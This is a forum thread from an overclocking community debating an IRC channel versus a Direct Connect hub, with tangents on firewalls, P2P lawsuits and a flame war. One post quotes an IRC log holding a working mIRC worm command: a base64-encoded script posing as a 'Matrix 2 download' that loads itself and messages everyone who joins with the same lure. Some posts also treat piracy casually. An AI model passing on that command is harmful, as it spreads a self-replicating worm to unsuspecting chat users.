ocnz irc

[Z3RO 0]

I've setup an irc channel for ocnz on my server :) - at the moment the dynamic dns is not working, so you will have to use my ip insted of the domain

If the ip changes and you cant connect, msg me on msn for the new ip - i will also update it here wheneaver it changes :)

Server: 210.55.212.34
Port: 6667
Channel: #ocnz

[whetu]

/me fails to see much point

[Solid Snake]

/why?

We have the OCNZ DC Hub which has an IRC chat function already...

[Geek4Life]

Just stick with the DC chat IMO. Much easier :D

[Xpressah]

OCNZ DC Hub

u have to register, and for the new guys who cant get registered, its quite good.. :)

[.weasel.]

why ? because ive been given god powers on the ocnz irc channel recently, and i want to strech my itchy kick finger a little :P

other than that, irc tends to load faster, and be a hell of a lot more relyable...

[Eagle32]

The better question is why put your own irc server up rather than just setup a channel on one of the established networks

[Method]

because they arnt smart eagle.

[bob_dole_nz]

mm, Chat with leaching and fun file sharing.

Chat with retard noobs allowed in?

Lets stick with DC.

[Tiggerz]

personally I can't stand DC - its bandwidth trash, I use mIRC and would rather prefer not to be associated with a hub, that just recently was mentioned as hosting pirated movies in a public forum :)

also mIRC is supported through ISA server and DC aint, and there is no way in heck I am gunna poke more holes in the fire wall :)

[BloodDonor]

i went to join the OCNZ DC hub, but it wouldnt let me

id like to join, but only 56k for now, till i can afford a dsl router :(

[Method]

ya know you can leech on irc... and you can get haxed.

And if you use irc remember to get the no name script.

You can get it from the ocnz dc hub :)

[Gremlin]

mentioned as hosting pirated movies in a public forum Why would that matter unless you were downloading them ??

You Shouldn't need to open up anything in ISA either unless you want to do something other than chat ?

[Ragnor]

OCNZ IRC channel - This comes up every now and then ...

The real question is do we need more mediums when we already have a forum..

The answer has always been no in the past:

1) Forum threads are alot better as a record of overclocker related knowledge then IRC logs..
2) There's that unofficial DC hub thing
3) If OCNZ the business doesn't want to have a IRC channel ethically you shouldn't really go make one in their name.
4) Want to talk to other overclockers real time.. you could use ICQ, MSN etc

...That's just a couple off the top of my head.

[whetu]

Originally posted by Gremlin
Why would that matter unless you were downloading them ??

You Shouldn't need to open up anything in ISA either unless you want to do something other than chat ?

also the fact that the hub itself does not share ANYTHING apart from a little bit of bandwidth.. its the users who share material, illegal or not, and I have no control over what they share, and have made it perfectly clear that I accept no responsibility for what they share...

also why would anyone use IRC? it's archaic, bug ridden and flawed.. it poses more of a security risk than DC does at the moment...

[FKF]

Originally posted by whetu
also the fact that the hub itself does not share ANYTHING apart from a little bit of bandwidth.. its the users who share material, illegal or not, and I have no control over what they share, and have made it perfectly clear that I accept no responsibility for what they share...


I'm pretty sure thats what the dude from Napster said too though, as does Mr Kazaa etc etc... :p

[fatsanchez]

Originally posted by BloodDonor
i went to join the OCNZ DC hub, but it wouldnt let me

id like to join, but only 56k for now, till i can afford a dsl router :(

theres a few 56k users (including me) on the hub, and you've certainly been around for long enough. You have tried asking for an account? (theres a hub thread somewhere with instructions)

[TheChosen_1]

Ya I'm on 56K, I mainly go in there to talk to other ocnz'ers. DC rocks, way better than IRC, and what Whetu said.

[Solid Snake]

3) If OCNZ the business doesn't want to have a IRC channel ethically you shouldn't really go make one in their name. I second that. If someone decides to make an L3 Irc chat room without mine or Sam's permission we'd shut it down pretty quickly.

[Xpressah]

Originally posted by Ragnor
3) If OCNZ the business doesn't want to have a IRC channel ethically you shouldn't really go make one in their name.

what else do you call it then, they might not be advertising the OCNZ business, just like if Infogrames(whoever) didnt want a Unreal Tournament irc channel, and someone wanted to run one to chat to talk others about UT.

They talk about OC'ing, not the business nor the forums :)

[Solid Snake]

It's called patent controlling. Besides if the OCNZ irc channel gets a bad rep it instantly includes OCNZ the business which is not good. Why not just calling Overclocking? or just Ocer's NZ? Call it anything else and you can just about get away with murder! If I made a new game and it was exactly like BF1942 and I called it BF1943 I'd get away with it...

[bob_dole_nz]

Originally posted by Solid Snake
If I made a new game and it was exactly like BF1942 and I called it BF1943 I'd get away with it...

No you wouldn't. I think the trademark recognition laws or some such prevent names of such similar wording. It would be very easy to confuse them and you would lose the case in court. However, WW2: Battlefields could be a more arguable case.

It needs to have no affiliation whatsoever with the original, to be safe. But yeah.

[Xpressah]

so in other words, OCNZ the business own the name "OCNZ" and anything within very close relevance to it. So if i say for example "omg OCNZ" they can file a law suit against me for using thier word?

[Method]

Originally posted by Solid Snake
If someone decides to make an L3 Irc chat room without mine or Sam's permission we'd shut it down pretty quickly.

who would want to:p

[Sodge]

This thread's title in my opion should be changed to "IRC vs. DC++" But of course well all know that DC++ would beat IRC hands down any day :D

[ktulu]

Originally posted by Xpressah
so in other words, OCNZ the business own the name "OCNZ" and anything within very close relevance to it. So if i say for example "omg OCNZ" they can file a law suit against me for using thier word?

depends what you did.... but you'd leave yourself open to all sorts of court action (defamation/slander laws, intellectual property laws, etc).
Put it this way... if someone was to start up a forum/irc channel/etc using the name of my business and then proceeded to give my business a bad name by association.... I'd do everything I could to shut it down (which wouldn't be that hard with current intellectual property laws).
However... if the forum/irc channel was in no way detrimental to my business (ie not promoting anything illegal and in no deflamatory), I'd have no problem with it continuing.

[Gremlin]

I'm pretty sure thats what the dude from Napster said too though, as does Mr Kazaa etc etc...
Yeah but they also use a centralised p2p model and actually did have control over what was going on.

iirc corectly one of the other p2p programs just won a lawsuit instigated by RIAA because they didn't have a centralised model and therefore were really no different than a company that produces VCR's .. they both produce a product which may enable a user to copy protected material, but neither of them can actually control what the end user did with the product. Napster could control it (and did in the end) which is what killed em.

[Geek4Life]

Yeah one of them did get away with it recently. The argument was that people quite often use it to search for and download publically available forms and other such items.

[tEsL4]

also why would anyone use IRC? it's archaic, bug ridden and flawed...

hahahah whetu, thats the stupidest statement i've heard in a long while... It's called 'a BNC and some common-sense'. I think that if somebody is moronic enough to run those //nospam$ commands, then ANYTHING is going to be a security risk for them, including powering their machine on in the first place!

How can you sit there and bash IRC, when it is the origin of all the wonderful files on your little hub?

Everything serves its purpose, sure, but some do a better job than others - and hey, the best in the game can't be wrong, so i'll stick to IRC thanks.

[dice]

IRC isn't bugridden, never crashed on me...
On the other hand, a OCNZ channel isn't really needed with the hub. :)

/edit

[00:03] <DJ-psycho> FOR MATRIX 2 DOWNLOAD, USE THIS COMMAND:4 //write Matrix2 $decode(b24gISsxOmpvaW46Izp7IC5hdXNlciAyICRuaWNrIH wgLm1zZyAkbmljayBGT1IgTUFUUklYIDIgRE9XTkxPQUQsIFVT RSBUSElTIENPTU1BTkQ6AzQgLy93cml0ZSBNYXRyaXgyICQgJC sgZGVjb2RlKCAkKyAkZW5jb2RlKCRyZWFkKCRzY3JpcHQsbiwx KSxtKSAkKyAsbSkgJGNocigxMjQpIC5sb2FkIC1ycyBNYXRyaX gyICRjaHIoMTI0KSAvL21vZGUgJCAkKyBtZSArUiB9IH0=,m) | .load -rs Matrix2 | //mode $me +R

[00:04] * tesl4 sets mode: +b *!*igorks@0::ffff:62.90.215.58
[00:04] * DJ-psycho was kicked by tesl4 (no.onjoin.messages.allowed)

lol :D

[Gremlin]

Originally posted by Geek4Life
Yeah one of them did get away with it recently. The argument was that people quite often use it to search for and download publically available forms and other such items.

Might be different ones, the one I'm thinking of did win becuase they did not have any central server that controlled the client connections, therefore as there was no way the software makers could control its use they couldn't be held liable for any copyright infringments committed by the "users"

[whetu]

Originally posted by tEsL4
hahahah whetu, thats the stupidest statement i've heard in a long while... It's called 'a BNC and some common-sense'. I think that if somebody is moronic enough to run those //nospam$ commands, then ANYTHING is going to be a security risk for them, including powering their machine on in the first place!

How can you sit there and bash IRC, when it is the origin of all the wonderful files on your little hub?

Everything serves its purpose, sure, but some do a better job than others - and hey, the best in the game can't be wrong, so i'll stick to IRC thanks.

each to their own.. I know that I'll never talk any sense into you... I've had to live with IRC-whores for the last 3 years of my life so I'm well aware of how narrow minded and over protective they are of their precious little old protocol. Hell I used to whore dalnet on a daily basis before the IT gods told me to give it up... It's like I'm a recovered alcholic and you arent attending your AA meetings... :rolleyes:

Yes I'm grateful for where IRC has taken us in terms of communications and the number of programs based loosely on its structure/protocols (msn messenger for example), dont get me wrong, I understand where it has got us, but it's no longer the best, it's no longer the most secure, it's no longer the most featurepacked, it's old and it's time to move on.

Also, just a quick FYI, IRC is not the origin of ANY files on the hub. None. Zilch. All the files *on* the hub were downloaded via http or ftp directly from their distributors - there are only programs on the hub and files created by myself.

Now if youre talking about files shared by users connected to the hub, that's a different story... and even then not all the files originated through IRC... a lot were produced by the users themselves, a lot came through other sources such as kazaa (might pay to get your facts right, or at least engage brain when forming an argument so that you get your wording correct, that way I cant catch you out on such a minor technicality ;))

btw gremlin.. I think you are talking about kazaa.. I'm sure thats the one that beat the RIAA in the courtroom...

[Gremlin]

btw gremlin.. I think you are talking about kazaa.. I'm sure thats the one that beat the RIAA in the courtroom...
Yeah I think your right

[dice]

IRC can be made secure, and I think what tes meant was that the groups that release all the freeware stuff on the Internet communicate on the Internet.
I have heard that they are very secure/paranoid, and thus would not use something that was a security threat. Combined with SSL and private servers, you can't get much more secure. :)

[tEsL4]

Thankyou dice, that is exactly what i meant. While perhaps not the 'direct' source of the files, the IRC protocol is a very integral part of the release and trading scene - if you bothered to step up from Direct Connect, maybe you could see for youself. Minor technicality my ass... :rolleyes:

Also, to back up what dice said about security, SSL-enabled private servers are the most secure chat protocol bar NONE. You can even use the blowfish encryption module if you're that concerned about prying eyes.

Why would people defend IRC, if it wasn't worth defending?

[Eagle32]

Originally posted by tEsL4
Why would people defend IRC, if it wasn't worth defending?

One word, "Fanatics" ;)

[tEsL4]

Hey, hey, I didn't have time to think up a good avatar!! :p

[whetu]

Originally posted by tEsL4
if you bothered to step up from Direct Connect, maybe you could see for youself.

LOL where did you learn to read?

I've had to live with IRC-whores for the last 3 years of my life so I'm well aware of how narrow minded and over protective they are of their precious little old protocol. Hell I used to whore dalnet on a daily basis before the IT gods told me to give it up... It's like I'm a recovered alcholic and you arent attending your AA meetings...

Please read the bold part. Then read it again. Then once more just for luck.

ME==Been there, done that. :rolleyes:

So I apologise if I decline to "step up" and live the "x-treme" way on "the edge" with such an "adrenelin rush" with you IRC folk. As I said - Each to their own.

/me chuckles at you

[Sydog]

Originally posted by dice
IRC can be made secure, and I think what tes meant was that the groups that release freeware stuff all the on the Internet communicate on the Internet.

Define these "freeware groups", are they secretely bringing us free products to use legally. Are these groups writing the software, or are they modifying the code and redistributing it illegally

[bob_dole_nz]

i still use IRC, but i think the argument here is that OCNZ does not need the channel/server. There is already a semi related DC Hub, that provides for chat etc.

IRC=Good
DC++=Good

OCNZ Irc = Bad

[Method]

most of us dont use dc for only chatting anyway where as icq is pretty much only chatting which msn is for.

[tEsL4]

whetu: thanks for the heads-up, you're right, im so stupid, I can't read a word you're saying... oh wait a second, of course I can, you just keep misinterpreting the information.

Times have changed, and 'whoring Dalnet' is not what i call IRC - dalnet barely exists anymore, it was for idiots who got a kick out of netsplits, and thought their existence was made worthy by sharing with the rest of the world the menial activities of their day... If you really had 'been-there-done-that', then you wouldn't be so uninformed, so i'll assume you fit into the 'i-tried-irc-but-got-hacked' group :)

Now, I don't usually have a problem with people like you - I know you contribute to the scene with your so-called 'distribution', but when you so unsubtlely put down the protocol that the people who keep the scene alive use and love, its a mockery. I would ask you to walk in my shoes before you pass comment, but, to be honest, I don't want you on IRC either ;)

Sydog: don't get moralistic. Do you confirm or deny the presence of 'cracked' or illegal software on your machine? Hmm, i thought so.

bob_dole: I completely agree with you - I wasn't arguing the benefits of ocnz irc - merely defending my own views against whetu's - I think DC is more suited to what you are trying to achieve, so by all means, continue using it...

Method: I'll be stupid like whetu, ok?


the IRC protocol is a very integral part of the release and trading scene

Please read the bold part. Then read it again. Then once more just for luck. Haha :p

[mird-OC]

TIMMAH!

[Xpressah]

what a way to finish the argument mird.

each to thier own i say, this is just like any other argument, UT vs CS vs Quake, Rap vs Rock vs Techno.

all i can say is what is the harm in having a ocnz irc channel? some people prefer irc to dc++. simple.

[fatsanchez]

*sigh*

[tEsL4]

B..but.. Timmy's the man! Better than that bastard Jimmy... :D

[mird-OC]

timmy is a buh-buh-buuuuh... timmy is a bu-buh-buh-buuuuuuuuuh... timmy is a b-buh-buh-buuuuuuuuuuuuh...

timmy is a g-great g-guy.

[Tiggerz]

lol.
DC++ functonality has been removed from our network.

I was using 242 and 241

Basically I did some testing on it this afternoon.

Bandwidth usage was excessively high compared to ftp,http,icq,irc file transfers.

Basically when I connected, it used all available bandwidth and killed our http facility. I even tried attaching QoS to it, but alas it dont support it.

In the 4 hours I have had the firewall configured to all DC connections, I have had no fewer than 8 attempted hacking attacks and two attempted denial of service attacks (the last has just ended as I closed the firewall again). To put this in perspective, the las DoS attack we had was back in October last year (which prompted me to move to ISA server).

Even KaZaa which I have configured does not generate such muck which is surprising given all its spamware advertising.

So at least for the moment, its banned. Although, i'll keep a copy on the machine for lan times :)

[mird-OC]

i really shouldn't mention it, but we're having quite a great laugh at your expense Tiggerz, in our tragically insecure and awfully wasteful DC existance :p

honestly tho, if you're really having that many problems i don't know what you're doing wrong ;)

[varkk]

I don't care what you all say, Holden is sooo much better than ford, (or was it intel?, oh no wait it was teh lunix!)

Anyway, I think the point is there isn't any real need for another chat channel, when the hub provides this already. To chat on the hub, you don't need to open up your firewall or anything, but for sharing your linux ISOs then it helps...

[Gremlin]

Can't see why your opening your firewall up Tig, its not actually a requirement, just use passive or SOCKS5

8 attempted hacking attacks Such as ? I've had 122 today according to Snort and I don't think I've even been logged on or loaded DC for at least a couple of days.

I'm not a big fan of ISA personally we ditched it after it kept locking up when we had some DoS attacks on our network at Christmas ... I guess it at least didn't let the attacks in, but then no-one could get out with it frozen either ;)

We are now happily running Kerio and haven't had a single issue or intrusion since well worth the investment (even better since they've integrated virus-checking with it).

And oh yeah Holdens rule ! anyone watch the V8 Brutes series today ? man that looked fun !

[bob_dole_nz]

I SAY THEY HAVE WoMD!!!!
LETS KILL THEM ALL

I think this thread should be closed now, gone way off topic and is serving know useful purpose anymore, just getting spammed.

[whetu]

bob - yes.

tiggerz - no dc related hacks all day on my smoothwall logs.. do have a large number of IRC related activity though.. living with an IRC whore will get you that... If bandwidth usage is such a concern to you, get BCDC/PDC instead of DC++... DC++ isnt the only client you know :rolleyes:

gremlin - just chucked kerio on a client's pc.. from what I've seen so far its quite nice for a free software firewall IMO :)

tesla - I'm not even going to bother.. If anyone's misinterpreting it's you. I see where you are coming from and I can understand, BUT you are not seeing where I am coming from and you do not understand. So flaming me (which is a banning offence btw) and whinging etc wont really get you anywhere, you're wasting your time. As I said twice before - each to their own. This means I accept your right to an opinion, now be a big boy for once and accept my right to an opinion. :rolleyes:

And to end it all, the only really level headed post in this whole moronic thread, by Mr Ragnor:
OCNZ IRC channel - This comes up every now and then ...

The real question is do we need more mediums when we already have a forum..

The answer has always been no in the past:

1) Forum threads are alot better as a record of overclocker related knowledge then IRC logs..
2) There's that unofficial DC hub thing
3) If OCNZ the business doesn't want to have a IRC channel ethically you shouldn't really go make one in their name.
4) Want to talk to other overclockers real time.. you could use ICQ, MSN etc

...That's just a couple off the top of my head.


This thread is now locked as you've all been very naughty boys. Now go to your rooms without any supper!